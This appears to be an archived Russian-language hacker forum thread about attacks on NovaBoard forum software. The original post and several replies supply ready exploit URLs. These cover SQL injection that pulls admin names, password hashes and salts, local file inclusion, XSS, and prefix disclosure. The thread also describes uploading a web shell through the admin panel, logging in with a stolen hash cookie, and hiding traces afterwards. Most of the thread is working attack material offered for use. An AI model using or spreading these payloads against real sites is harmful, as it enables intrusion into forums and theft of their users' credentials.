PDA

Просмотр полной версии : [Обзор уязвимостей NovaBoard]


RulleR
05.01.2010, 17:20
Обзор уязвимостей NovaBoard Forum

Official site: www.novaboard.net ( http://www.novaboard.net)
Latest release: NovaBoard v1.1.2

------------------------------------------------------------------------------
Default table prefix: novaboard_
Table with users: members
Columns:|id|name|usertitle|email|role|password|pas sword_time|pass_salt|theme|board_lang|time_offset| read_all_posts|avatar|remote_avatar|signature|loca tion|nationality|msn|aol|yahoo|skype|xbox|wii|ps3| last_online|warn_level|suspend_date|whiteboard|reg ister_date|verified|user_posts|banned|new_pms|allo w_admin_email|moderate|subscribe_pm|never_spam|А горитм хэширования паролей:
// Generate salt...
$salt = substr(md5(uniqid(rand(), true)), 0, 9);
// Salt the password
$password= md5($password . $salt);
------------------------------------------------------------------------------

SQL injection

#1
Vuln file: /includes/pages/search.php
/*...*/
$forum=implode(",",$_GET['forums']);
$forum = htmlentities($forum);
$forum = escape_string($forum);
/*...*/
$sql989 = "SELECT MEMBER, TIME, TOPIC_ID, FORUM_ID, CONTENT, ID, EDIT_TIME, EDIT_MEMBER, MATCH(TITLE, DESCRIPTION, CONTENT) AGAINST ('*$searchstring*' IN BOOLEAN MODE) AS score FROM {$db_prefix}posts WHERE FORUM_ID IN($forum) AND TIME >= '$startdate' AND TIME <= '$enddate' AND MEMBER='$id' AND APPROVED='1' AND MATCH(TITLE, DESCRIPTION, CONTENT) AGAINST ('*$searchstring*' IN BOOLEAN MODE) ORDER BY score DESC";
}
/*...*/
Exploit:http://[host]/[path]/index.php?page=search&topic=1&pf=1&search=xek&author_id=1&forums[]=1)+union+select+null,null,null,5,concat_ws(0x3a,n ame,password,pass_salt),null,null,null,null+from+[prefix]members+where+id=1+--+
#2
Vuln file: /includes/forums/addreply.php
if ($_COOKIE['mqpid']!=''){

$array=array($_COOKIE['mqpid']);
$array = implode(",",$array);
$quote="";

$query217 = "select MEMBER, CONTENT, TOPIC_ID, ID from {$db_prefix}posts WHERE ID IN($array) ORDER BY ID desc";
$result217 = mysql_query($query217) or die("addreply.php - Error in query: $query217") ;

Need: user account
Exploit:GET http://[host]/[path]/index.php?func=addreply&topic=1 HTTP/1.0

Cookie: mqpid=1) union select null,concat_ws(0x3a,name,password,pass_salt),null, null from [prefix]members where id=1/*
#3
Vuln file: /includes/header.php/*...*/
if (isset($_GET['topic']) && ($_GET['page']!='search')){

$location_text="";

$query211 = "select CONTENT from {$db_prefix}posts WHERE TOPIC_ID='$topic' AND TITLE!=''";
$result211 = mysql_query($query211) or die("topic.php - Error in query: $query211");
/*...*/
Need: magic_quotes = OFF
Exploit:http://[host]/[path]/index.php?page=list&forum=1&topic=xek'+union+select+concat_ws(0x3a,name,passwo rd,pass_salt)+from+[prefix]members+where+id=1+--+Note: Вывод ищем в исходном коде страницы:<meta name="description" content="{login:hash:salt}" />
Local File Inclusion

Vuln file: /includes/structure.php
/*...*/
$page = escape_string($_GET['page']);
/*...*/
if (file_exists("themes/$theme/includes/pages/$page.php")){
include "themes/$theme/includes/pages/$page.php";
}
elseif (include("includes/pages/$page.php")){
}
/*...*/Exploit:
http://[host]/[path]/index.php?page=../../downloadNote: null byte экранируется...


Active XSS
Exploit:javascript:alert(1)Note: уязвимость в add reply


Passive XSS
Exploit:
http://[host]/[path]/index.php?page=search&search=xek&topic=1"><script>alert(1)</script>

http://[host]/[path]/index.php?page=search&search=xek&author_id=1"><script>alert(1)</script>

http://[host]/[path]/index.php?page=search&search=xek&author=1"><script>alert(1)</script>

http://[host]/[path]/index.php?page=search&search=xek&startdate=1"><script>alert(1)</script>

http://[host]/[path]/index.php?page=search&search=xek&enddate=1"><script>alert(1)</script>


XSS in URI
Exploit:http://[host]/[path]/index.php/"><script>alert(1)</script>

Disclosure of Table Prefix
Exploit:http://[host]/[path]/index.php?topic=1&limit=xNote: на это форум выдаст примерно такую ошибку:
topic.php - Error in query: select MEMBER, TIME, FORUM_ID, CONTENT, ID, EDIT_TIME, EDIT_MEMBER, EDIT_REASON, TITLE, DESCRIPTION, STICKY, ANNOUNCE, REPORTED, APPROVED from novaboard_posts WHERE TOPIC_ID='1' AND APPROVED='1' ORDER BY TIME asc LIMIT -30, 30
------------------------------------------------------------------------------
Upload shell from Admin CP

Пакуем шелл winzip'ом
Далее переходим в Admin CP --> Board Settings --> Modules Settings
аплодим наш чудо-модуль..
Шелл будет находиться в /modules/[name_shell].php

Таким же способом можно залить через Themes Settings
шелл будет в папке themes
------------------------------------------------------------------------------
P.S. все найденные уязвимости тестировались на NovaBoard v1.1.2. Есть большая вероятность что эти уязвимости будут работать и на более ранних версиях.

(Dm)
05.01.2010, 20:01
отлично.
от себя добавлю, вход в админку по хешу.
Создаем cookie:
nova_name - тут логин
nova_password - тут хеш пароля, полученный через скулю

RedX
29.03.2010, 21:37
Вышла версия 1.1.3 SQL-Inj в поиске пофиксили точно!

The matrix
01.07.2010, 02:41
RulleR подтолкнул меня вспомнить об этом топике на форуме

Двиг понравился, потестил, добавляю от себя 5 копеек.

Тестил на последней 1.1.4


http://www.novaboard.net/2010/06/novaboard-release-1-1-4/

1) LFI

---------------------------------

Need

Rg=on

mq=off

---------------------------------

structure.php


if (isset($_GET['forum']) &&is_numeric($_GET['forum'])){

$forum_id=$_GET['forum'];

$query2="select THEME from{$db_prefix}categories WHERE ID = '$forum_id'";

$result2=mysql_query($query2) or die("structure.php - Error in query:$query2");

$num_result=mysql_num_rows($result2);

if ($num_result!='0'){

$category_theme=mysql_result($result2,0);

}

else{

$category_theme="";

}

}



if (isset($category_theme) && ($category_theme!='')){

$theme=$category_theme;

}

// need register_globals

........................................

if (isset($category_theme) && ($category_theme!='')){

$theme=$category_theme;

........................................

if (file_exists("themes/$theme/includes/header.php")){

include"themes/$theme/includes/header.php";

}

.........................................



Как юзать


http://localhost/nova/index.php?category_theme=../../../../../../../../../[local_file]%00

2) Нашел еще скули требующие rg=on и mq=off

Выложу только самую интересную.

verify.php


if ($_GET['id']!=''){

$hash_id=$_GET['id'];

$hash_id=escape_string($hash_id);

mysql_query("UPDATE{$db_prefix}members SET verified = '1' WHERE md5(pass_salt) = '$hash_id'");

$sql="SELECT ID, NAME FROM{$db_prefix}members WHERE md5(pass_salt) = '$hash_id'";

$sql_result=mysql_query($sql) or die ("download.php - Error in query:$sql");

while($row=mysql_fetch_array($sql_result)) {

$new_id=$row['ID'];

$name=$row['NAME'];

}

// register_globals=on

mysql_query("UPDATE{$db_prefix}settings SET stats_member_id=' $new_id', stats_member_name='$name', stats_membe rs=stats_members+1");



инъект в Update

таблица settings хранит основные настройки форума, мы ее можем update

---------------------------

need

rg=on

mq=off

---------------------------

как юзать.

Если куки не очищены-> чистим

применить можно по разному

1. вывести данные админа


http://localhost/nova/index.php?page=verify&id=1222&name=1',site_name=(select%20concat(name,0x3a,passw ord,0x3a,pass_salt)%20from%20novaboard_members%20w here%20id=1)+--+

идем на главную страницу, вывод палим в имени форума. Не забудьте потом вернуть на место. ато палево.

2. LFI через скуль

если пользователь не авторизован, то инклудится стандартная тема, название которой берется из этой таблицы

structure.php


$query2="select THEME from{$db_prefix}settings";

$result2=mysql_query($query2) or die("Have you run install.php yet?") ;

$theme=mysql_result($result2,0);

.......................

if (file_exists("themes/$theme/includes/header.php")){

include"themes/$theme/includes/header.php";

}

.......................





http://localhost/nova/index.php?page=verify&id=1222&name=1',theme='../../../../../../../[local_file]%00'+--+

теперь идем на главную страницу, и вместо нее будет висеть проинклуденный файл(если инклудить аватар с пхп кодом шелла, вместо главной страницы будет висеть шелл) Тоже надо не забыть вернуть потом на место тему которая была ато палево.

-----------------------------------------

можно заюзать эту багу и без условий mq и rg, но нужны права админа. Писать не буду, так как смысл отпадает, RulleR уже написал, как имея права админа без палева шелл впендюрить

Усе